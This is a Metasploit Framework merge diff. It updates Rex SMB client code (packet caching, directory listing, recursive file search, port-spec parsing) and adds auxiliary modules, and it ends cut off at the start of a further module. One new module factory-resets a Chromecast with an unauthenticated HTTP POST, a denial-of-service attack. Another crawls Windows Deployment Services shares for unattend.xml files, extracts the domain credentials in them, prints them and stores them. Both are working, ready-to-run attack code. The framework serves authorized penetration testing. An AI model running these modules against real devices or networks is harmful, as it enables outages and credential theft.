Merge branch 'master' into staging/electro-release
commit
9cec330f05
|
@ -150,72 +150,116 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
packet.v['ProcessID'] = self.process_id.to_i
|
||||
end
|
||||
|
||||
|
||||
# The main dispatcher for all incoming SMB packets
|
||||
def smb_recv_parse(expected_type, ignore_errors = false)
|
||||
# Receive a full SMB reply and cache the parsed packet
|
||||
def smb_recv_and_cache
|
||||
@smb_recv_cache ||= []
|
||||
|
||||
# This will throw an exception if it fails to read the whole packet
|
||||
data = self.smb_recv
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(data)
|
||||
res = pkt
|
||||
|
||||
# Store the received packet into the cache
|
||||
@smb_recv_cache << [ pkt, data, Time.now ]
|
||||
end
|
||||
|
||||
# Scan the packet receive cache for a matching response
|
||||
def smb_recv_cache_find_match(expected_type)
|
||||
|
||||
clean = []
|
||||
found = nil
|
||||
|
||||
@smb_recv_cache.each do |cent|
|
||||
pkt, data, tstamp = cent
|
||||
|
||||
# Return matching packets and mark for removal
|
||||
if pkt['Payload']['SMB'].v['Command'] == expected_type
|
||||
found = [pkt,data]
|
||||
clean << cent
|
||||
end
|
||||
|
||||
# Purge any packets older than 5 minutes
|
||||
if Time.now.to_i - tstamp.to_i > 300
|
||||
clean << cent
|
||||
end
|
||||
|
||||
break if found
|
||||
end
|
||||
|
||||
clean.each do |cent|
|
||||
@smb_recv_cache.delete(cent)
|
||||
end
|
||||
|
||||
found
|
||||
end
|
||||
|
||||
# The main dispatcher for all incoming SMB packets
|
||||
def smb_recv_parse(expected_type, ignore_errors = false)
|
||||
|
||||
pkt = nil
|
||||
data = nil
|
||||
|
||||
# This allows for some leeway when a previous response has not
|
||||
# been processed but a new request was sent. The old response
|
||||
# will eventually be timed out of the cache.
|
||||
1.upto(3) do |attempt|
|
||||
smb_recv_and_cache
|
||||
pkt,data = smb_recv_cache_find_match(expected_type)
|
||||
break if pkt
|
||||
end
|
||||
|
||||
begin
|
||||
case pkt['Payload']['SMB'].v['Command']
|
||||
|
||||
when CONST::SMB_COM_NEGOTIATE
|
||||
res = smb_parse_negotiate(pkt, data)
|
||||
res = smb_parse_negotiate(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
res = smb_parse_session_setup(pkt, data)
|
||||
res = smb_parse_session_setup(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_TREE_CONNECT_ANDX
|
||||
res = smb_parse_tree_connect(pkt, data)
|
||||
res = smb_parse_tree_connect(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_TREE_DISCONNECT
|
||||
res = smb_parse_tree_disconnect(pkt, data)
|
||||
res = smb_parse_tree_disconnect(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_NT_CREATE_ANDX
|
||||
res = smb_parse_create(pkt, data)
|
||||
res = smb_parse_create(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_TRANSACTION, CONST::SMB_COM_TRANSACTION2
|
||||
res = smb_parse_trans(pkt, data)
|
||||
res = smb_parse_trans(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_NT_TRANSACT
|
||||
res = smb_parse_nttrans(pkt, data)
|
||||
res = smb_parse_nttrans(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_NT_TRANSACT_SECONDARY
|
||||
res = smb_parse_nttrans(pkt, data)
|
||||
res = smb_parse_nttrans(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_OPEN_ANDX
|
||||
res = smb_parse_open(pkt, data)
|
||||
res = smb_parse_open(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_WRITE_ANDX
|
||||
res = smb_parse_write(pkt, data)
|
||||
res = smb_parse_write(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_READ_ANDX
|
||||
res = smb_parse_read(pkt, data)
|
||||
res = smb_parse_read(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_CLOSE
|
||||
res = smb_parse_close(pkt, data)
|
||||
res = smb_parse_close(pkt, data)
|
||||
|
||||
when CONST::SMB_COM_DELETE
|
||||
res = smb_parse_delete(pkt, data)
|
||||
res = smb_parse_delete(pkt, data)
|
||||
|
||||
else
|
||||
raise XCEPT::InvalidCommand
|
||||
end
|
||||
|
||||
if (pkt['Payload']['SMB'].v['Command'] != expected_type)
|
||||
raise XCEPT::InvalidType
|
||||
end
|
||||
|
||||
if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0)
|
||||
raise XCEPT::ErrorCode
|
||||
end
|
||||
|
||||
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode
|
||||
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode
|
||||
$!.word_count = pkt['Payload']['SMB'].v['WordCount']
|
||||
$!.command = pkt['Payload']['SMB'].v['Command']
|
||||
$!.error_code = pkt['Payload']['SMB'].v['ErrorClass']
|
||||
|
@ -1837,88 +1881,150 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
0, # Storage type is zero
|
||||
].pack('vvvvV') + path + "\x00"
|
||||
|
||||
begin
|
||||
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
|
||||
search_next = 0
|
||||
begin
|
||||
pcnt = resp['Payload'].v['ParamCount']
|
||||
dcnt = resp['Payload'].v['DataCount']
|
||||
poff = resp['Payload'].v['ParamOffset']
|
||||
doff = resp['Payload'].v['DataOffset']
|
||||
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
|
||||
search_next = 0
|
||||
|
||||
# Get the raw packet bytes
|
||||
resp_rpkt = resp.to_s
|
||||
# Loop until we run out of results
|
||||
loop do
|
||||
pcnt = resp['Payload'].v['ParamCount']
|
||||
dcnt = resp['Payload'].v['DataCount']
|
||||
poff = resp['Payload'].v['ParamOffset']
|
||||
doff = resp['Payload'].v['DataOffset']
|
||||
|
||||
# Remove the NetBIOS header
|
||||
resp_rpkt.slice!(0, 4)
|
||||
# Get the raw packet bytes
|
||||
resp_rpkt = resp.to_s
|
||||
|
||||
resp_parm = resp_rpkt[poff, pcnt]
|
||||
resp_data = resp_rpkt[doff, dcnt]
|
||||
# Remove the NetBIOS header
|
||||
resp_rpkt.slice!(0, 4)
|
||||
|
||||
if search_next == 0
|
||||
# search id, search count, end of search, error offset, last name offset
|
||||
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
|
||||
else
|
||||
# FINX_NEXT doesn't return a SID
|
||||
scnt, eos, eoff, loff = resp_parm.unpack('v4')
|
||||
end
|
||||
didx = 0
|
||||
while (didx < resp_data.length)
|
||||
info_buff = resp_data[didx, 70]
|
||||
break if info_buff.length != 70
|
||||
info = info_buff.unpack(
|
||||
'V'+ # Next Entry Offset
|
||||
'V'+ # File Index
|
||||
'VV'+ # Time Create
|
||||
'VV'+ # Time Last Access
|
||||
'VV'+ # Time Last Write
|
||||
'VV'+ # Time Change
|
||||
'VV'+ # End of File
|
||||
'VV'+ # Allocation Size
|
||||
'V'+ # File Attributes
|
||||
'V'+ # File Name Length
|
||||
'V'+ # Extended Attr List Length
|
||||
'C'+ # Short File Name Length
|
||||
'C' # Reserved
|
||||
)
|
||||
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
|
||||
files[name] =
|
||||
{
|
||||
'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
|
||||
'attr' => info[14],
|
||||
'info' => info
|
||||
}
|
||||
resp_parm = resp_rpkt[poff, pcnt]
|
||||
resp_data = resp_rpkt[doff, dcnt]
|
||||
|
||||
break if info[0] == 0
|
||||
didx += info[0]
|
||||
end
|
||||
last_search_id = sid
|
||||
last_offset = loff
|
||||
last_filename = name
|
||||
if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next
|
||||
resp = find_next(last_search_id, last_offset, last_filename)
|
||||
search_next = 1 # Flip bit so response params will parse correctly
|
||||
end
|
||||
end until eos != 0 or last_offset == 0
|
||||
rescue ::Exception
|
||||
raise $!
|
||||
if search_next == 0
|
||||
# search id, search count, end of search, error offset, last name offset
|
||||
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
|
||||
else
|
||||
# FIND_NEXT doesn't return a SID
|
||||
scnt, eos, eoff, loff = resp_parm.unpack('v4')
|
||||
end
|
||||
|
||||
didx = 0
|
||||
while (didx < resp_data.length)
|
||||
info_buff = resp_data[didx, 70]
|
||||
break if info_buff.length != 70
|
||||
|
||||
info = info_buff.unpack(
|
||||
'V'+ # Next Entry Offset
|
||||
'V'+ # File Index
|
||||
'VV'+ # Time Create
|
||||
'VV'+ # Time Last Access
|
||||
'VV'+ # Time Last Write
|
||||
'VV'+ # Time Change
|
||||
'VV'+ # End of File
|
||||
'VV'+ # Allocation Size
|
||||
'V'+ # File Attributes
|
||||
'V'+ # File Name Length
|
||||
'V'+ # Extended Attr List Length
|
||||
'C'+ # Short File Name Length
|
||||
'C' # Reserved
|
||||
)
|
||||
|
||||
name = resp_data[didx + 70 + 24, info[15]]
|
||||
|
||||
# Verify that the filename was actually present
|
||||
break unless name
|
||||
|
||||
# Key the file list minus any trailing nulls
|
||||
files[name.sub(/\x00+$/n, '')] =
|
||||
{
|
||||
'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D',
|
||||
'attr' => info[14],
|
||||
'info' => info
|
||||
}
|
||||
|
||||
break if info[0] == 0
|
||||
didx += info[0]
|
||||
end
|
||||
|
||||
last_search_id = sid
|
||||
last_offset = loff
|
||||
last_filename = name
|
||||
|
||||
# Exit the search if we reached the end of our results
|
||||
break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0)
|
||||
|
||||
# If we aren't at the end of the search, run find_next
|
||||
resp = find_next(last_search_id, last_offset, last_filename)
|
||||
|
||||
# Flip bit so response params will parse correctly
|
||||
search_next = 1
|
||||
end
|
||||
|
||||
return files
|
||||
files
|
||||
end
|
||||
|
||||
# Supplements find_first if file/dir count exceeds max search count
|
||||
def find_next(sid, resume_key, last_filename)
|
||||
|
||||
parm = [
|
||||
sid, # Search ID
|
||||
20, # Maximum search count (Size of 20 keeps response to 1 packet)
|
||||
260, # Level of interest
|
||||
resume_key, # Resume key from previous (Last name offset)
|
||||
6, # Close search if end of search
|
||||
].pack('vvvVv') + last_filename.to_s + "\x00" # Last filename returned from find_first or find_next
|
||||
resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
|
||||
return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function
|
||||
sid, # Search ID
|
||||
20, # Maximum search count (Size of 20 keeps response to 1 packet)
|
||||
260, # Level of interest
|
||||
resume_key, # Resume key from previous (Last name offset)
|
||||
6, # Close search if end of search
|
||||
].pack('vvvVv') +
|
||||
last_filename.to_s + # Last filename returned from find_first or find_next
|
||||
"\x00" # Terminate the file name
|
||||
|
||||
# Returns the FIND_NEXT2 response packet for parsing by the find_first function
|
||||
trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
|
||||
end
|
||||
|
||||
# Recursively search for files matching a regular expression
|
||||
def file_search(current_path, regex, depth)
|
||||
depth -= 1
|
||||
return [] if depth < 0
|
||||
|
||||
results = find_first(current_path + "*")
|
||||
files = []
|
||||
|
||||
results.each_pair do |fname, finfo|
|
||||
|
||||
# Skip current and parent directory results
|
||||
next if %W{. ..}.include?(fname)
|
||||
|
||||
# Verify the results contain an attribute
|
||||
next unless finfo and finfo['attr']
|
||||
|
||||
if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0
|
||||
# Add any matching files to our result set
|
||||
files << "#{current_path}#{fname}" if fname =~ regex
|
||||
else
|
||||
# Recurse into the discovery subdirectory for more files
|
||||
begin
|
||||
search_path = "#{current_path}#{fname}\\"
|
||||
file_search(search_path, regex, depth).each {|fn| files << fn }
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
|
||||
# Ignore common errors related to permissions and non-files
|
||||
if %W{
|
||||
STATUS_ACCESS_DENIED
|
||||
STATUS_NO_SUCH_FILE
|
||||
STATUS_OBJECT_NAME_NOT_FOUND
|
||||
STATUS_OBJECT_PATH_NOT_FOUND
|
||||
}.include? e.get_error(e.error_code)
|
||||
next
|
||||
end
|
||||
|
||||
$stderr.puts [e, e.get_error(e.error_code), search_path]
|
||||
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
files.uniq
|
||||
end
|
||||
|
||||
# Creates a new directory on the mounted tree
|
||||
|
@ -1931,9 +2037,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# public read/write methods
|
||||
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
|
||||
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
|
||||
attr_accessor :system_time, :system_zone
|
||||
#misc
|
||||
attr_accessor :spnopt # used for SPN
|
||||
attr_accessor :system_time, :system_zone
|
||||
attr_accessor :spnopt
|
||||
|
||||
# public read methods
|
||||
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
||||
|
@ -1941,21 +2046,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
||||
attr_reader :dns_host_name, :dns_domain_name
|
||||
attr_reader :security_mode, :server_guid
|
||||
#signing related
|
||||
attr_reader :sequence_counter,:signing_key, :require_signing
|
||||
|
||||
# private methods
|
||||
# private write methods
|
||||
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
||||
attr_writer :default_domain, :default_name, :auth_user, :auth_user_id
|
||||
attr_writer :dns_host_name, :dns_domain_name
|
||||
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
||||
attr_writer :security_mode, :server_guid
|
||||
#signing related
|
||||
attr_writer :sequence_counter,:signing_key, :require_signing
|
||||
|
||||
attr_accessor :socket
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -261,6 +261,23 @@ FILE_FILE_COMPRESSION = 0x00000008
|
|||
FILE_VOLUME_QUOTAS = 0x00000010
|
||||
FILE_VOLUME_IS_COMPRESSED = 0x00008000
|
||||
|
||||
# SMB_EXT_FILE_ATTR
|
||||
# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx
|
||||
SMB_EXT_FILE_ATTR_READONLY = 0x00000001
|
||||
SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002
|
||||
SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004
|
||||
SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010
|
||||
SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020
|
||||
SMB_EXT_FILE_ATTR_NORMAL = 0x00000080
|
||||
SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100
|
||||
SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800
|
||||
SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000
|
||||
SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000
|
||||
SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000
|
||||
SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000
|
||||
SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000
|
||||
SMB_EXT_FILE_NO_BUFFERING = 0x20000000
|
||||
SMB_EXT_FILE_WRITE_THROUGH = 0x80000000
|
||||
|
||||
# SMB Error Codes
|
||||
SMB_STATUS_SUCCESS = 0x00000000
|
||||
|
|
|
@ -505,14 +505,24 @@ module Socket
|
|||
end
|
||||
|
||||
#
|
||||
# Converts a port specification like "80,21-23,443" into a sorted,
|
||||
# unique array of valid port numbers like [21,22,23,80,443]
|
||||
# Converts a port specification like "80,21-25,!24,443" into a sorted,
|
||||
# unique array of valid port numbers like [21,22,23,25,80,443]
|
||||
#
|
||||
def self.portspec_to_portlist(pspec)
|
||||
ports = []
|
||||
remove = []
|
||||
|
||||
# Build ports array from port specification
|
||||
pspec.split(/,/).each do |item|
|
||||
target = ports
|
||||
|
||||
item.strip!
|
||||
|
||||
if item.start_with? '!'
|
||||
item.delete! '!'
|
||||
target = remove
|
||||
end
|
||||
|
||||
start, stop = item.split(/-/).map { |p| p.to_i }
|
||||
|
||||
start ||= 0
|
||||
|
@ -520,11 +530,15 @@ module Socket
|
|||
|
||||
start, stop = stop, start if stop < start
|
||||
|
||||
start.upto(stop) { |p| ports << p }
|
||||
start.upto(stop) { |p| target << p }
|
||||
end
|
||||
|
||||
if ports.empty? and not remove.empty? then
|
||||
ports = 1.upto 65535
|
||||
end
|
||||
|
||||
# Sort, and remove dups and invalid ports
|
||||
ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 }
|
||||
ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 or remove.include? p }
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,58 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Chromecast Factory Reset DoS',
|
||||
'Description' => %q{
|
||||
This module performs a factory reset on a Chromecast, causing a denial of service (DoS).
|
||||
No user authentication is required.
|
||||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8008)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
res = reset
|
||||
|
||||
if res && res.code == 200
|
||||
print_good('Factory reset performed')
|
||||
elsif res
|
||||
print_error("An error occurred: #{res.code} #{res.message}")
|
||||
end
|
||||
end
|
||||
|
||||
def reset
|
||||
begin
|
||||
send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => '/setup/reboot',
|
||||
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
|
||||
'ctype' => 'application/json',
|
||||
'data' => '{"params": "fdr"}'
|
||||
)
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
||||
Rex::HostUnreachable => e
|
||||
fail_with(Failure::Unreachable, e)
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
|
||||
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
|
|
|
@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
},
|
||||
'Author' => ['wvu'],
|
||||
'References' => [
|
||||
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
|
||||
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
@ -38,6 +38,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'PWR',
|
||||
'ENC',
|
||||
'CIPHER',
|
||||
'AUTH',
|
||||
'ESSID'
|
||||
],
|
||||
'SortIndex' => -1
|
||||
|
@ -47,26 +48,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
waps << [
|
||||
wap['bssid'],
|
||||
wap['signal_level'],
|
||||
case wap['wpa_auth']
|
||||
when 1
|
||||
'OPN'
|
||||
when 5
|
||||
'WPA'
|
||||
when 7
|
||||
'WPA2'
|
||||
else
|
||||
wap['wpa_auth']
|
||||
end,
|
||||
case wap['wpa_cipher']
|
||||
when 1
|
||||
''
|
||||
when 3
|
||||
'TKIP'
|
||||
when 4
|
||||
'CCMP'
|
||||
else
|
||||
wap['wpa_cipher']
|
||||
end,
|
||||
enc(wap),
|
||||
cipher(wap),
|
||||
auth(wap),
|
||||
wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '')
|
||||
]
|
||||
end
|
||||
|
@ -103,4 +87,45 @@ class Metasploit4 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def enc(wap)
|
||||
case wap['wpa_auth']
|
||||
when 1
|
||||
'OPN'
|
||||
when 2
|
||||
'WEP'
|
||||
when 5
|
||||
'WPA'
|
||||
when 0, 7
|
||||
'WPA2'
|
||||
else
|
||||
wap['wpa_auth']
|
||||
end
|
||||
end
|
||||
|
||||
def cipher(wap)
|
||||
case wap['wpa_cipher']
|
||||
when 1
|
||||
''
|
||||
when 2
|
||||
'WEP'
|
||||
when 3
|
||||
'TKIP'
|
||||
when 4
|
||||
'CCMP'
|
||||
else
|
||||
wap['wpa_cipher']
|
||||
end
|
||||
end
|
||||
|
||||
def auth(wap)
|
||||
case wap['wpa_auth']
|
||||
when 0
|
||||
'MGT'
|
||||
when 5, 7
|
||||
'PSK'
|
||||
else
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,232 @@
|
|||
#
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/parser/unattend'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
|
||||
'Description' => %q{
|
||||
This module will search remote file shares for unattended installation files that may contain
|
||||
domain credentials. This is often used after discovering domain credentials with the
|
||||
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
|
||||
have domain credentials. This module will connect to the RemInst share and any Microsoft
|
||||
Deployment Toolkit shares indicated by the share name comments.
|
||||
},
|
||||
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
|
||||
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'],
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(445),
|
||||
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
||||
end
|
||||
|
||||
# Determine the type of share based on an ID type value
|
||||
def share_type(val)
|
||||
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
|
||||
stypes[val] || 'UNKNOWN'
|
||||
end
|
||||
|
||||
|
||||
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
|
||||
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
|
||||
def srvsvc_netshareenum
|
||||
shares = []
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("#{rhost} : #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.long(1) #level
|
||||
|
||||
ref_id = stubdata[0,4].unpack("V")[0]
|
||||
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
||||
|
||||
stubdata << ctr
|
||||
stubdata << NDR.align(ctr)
|
||||
stubdata << [0xffffffff].pack("V")
|
||||
stubdata << [ref_id + 8, 0].pack("VV")
|
||||
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
|
||||
# Additional error handling and validation needs to occur before
|
||||
# this code can be moved into a mixin
|
||||
|
||||
res = response.dup
|
||||
win_error = res.slice!(-4, 4).unpack("V")[0]
|
||||
if win_error != 0
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
|
||||
end
|
||||
|
||||
# Level, CTR header, Reference ID of CTR
|
||||
res.slice!(0,12)
|
||||
share_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
# Reference ID of CTR1
|
||||
res.slice!(0,4)
|
||||
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
if share_max_count != share_count
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
|
||||
end
|
||||
|
||||
# ReferenceID / Type / ReferenceID of Comment
|
||||
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
||||
|
||||
share_count.times do |t|
|
||||
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
||||
|
||||
if offset != 0
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
|
||||
end
|
||||
|
||||
if length != max_length
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
|
||||
end
|
||||
|
||||
name = res.slice!(0, 2 * length)
|
||||
res.slice!(0,2) if length % 2 == 1 # pad
|
||||
|
||||
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
||||
|
||||
if comment_offset != 0
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
|
||||
end
|
||||
|
||||
if comment_length != comment_max_length
|
||||
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
|
||||
end
|
||||
|
||||
comment = res.slice!(0, 2 * comment_length)
|
||||
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
||||
|
||||
shares << [ name, share_type(types[t]), comment]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
deploy_shares = []
|
||||
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
srvsvc_netshareenum.each do |share|
|
||||
# Ghetto unicode to ascii conversation
|
||||
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
|
||||
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
|
||||
share_type = share[1]
|
||||
|
||||
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
|
||||
vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}")
|
||||
deploy_shares << share_name
|
||||
end
|
||||
end
|
||||
|
||||
deploy_shares.each do |deploy_share|
|
||||
query_share(deploy_share)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
|
||||
def query_share(share)
|
||||
share_path = "\\\\#{rhost}\\#{share}"
|
||||
vprint_status("#{rhost}:#{rport} Enumerating #{share}...")
|
||||
|
||||
begin
|
||||
simple.connect(share_path)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
|
||||
|
||||
results.each do |file_path|
|
||||
file = simple.open(file_path, 'o').read()
|
||||
next unless file
|
||||
|
||||
loot_unattend(file)
|
||||
|
||||
creds = parse_client_unattend(file)
|
||||
creds.each do |cred|
|
||||
next unless (cred && cred['username'] && cred['password'])
|
||||
next unless cred['username'].to_s.length > 0
|
||||
next unless cred['password'].to_s.length > 0
|
||||
|
||||
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
|
||||
print_good("#{rhost}:#{rport} Credentials: " +
|
||||
"Path=#{share_path}#{file_path} " +
|
||||
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
|
||||
"Password=#{cred['password'].to_s}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def parse_client_unattend(data)
|
||||
|
||||
begin
|
||||
xml = REXML::Document.new(data)
|
||||
rescue REXML::ParseException => e
|
||||
print_error("Invalid XML format")
|
||||
vprint_line(e.message)
|
||||
end
|
||||
Rex::Parser::Unattend.parse(xml).flatten
|
||||
end
|
||||
|
||||
def loot_unattend(data)
|
||||
return if data.empty?
|
||||
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
|
||||
print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}")
|
||||
end
|
||||
|
||||
def report_creds(domain, user, pass)
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:proto => 'tcp',
|
||||
:source_id => nil,
|
||||
:source_type => "aux",
|
||||
:user => "#{domain}\\#{user}",
|
||||
:pass => pass
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,104 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
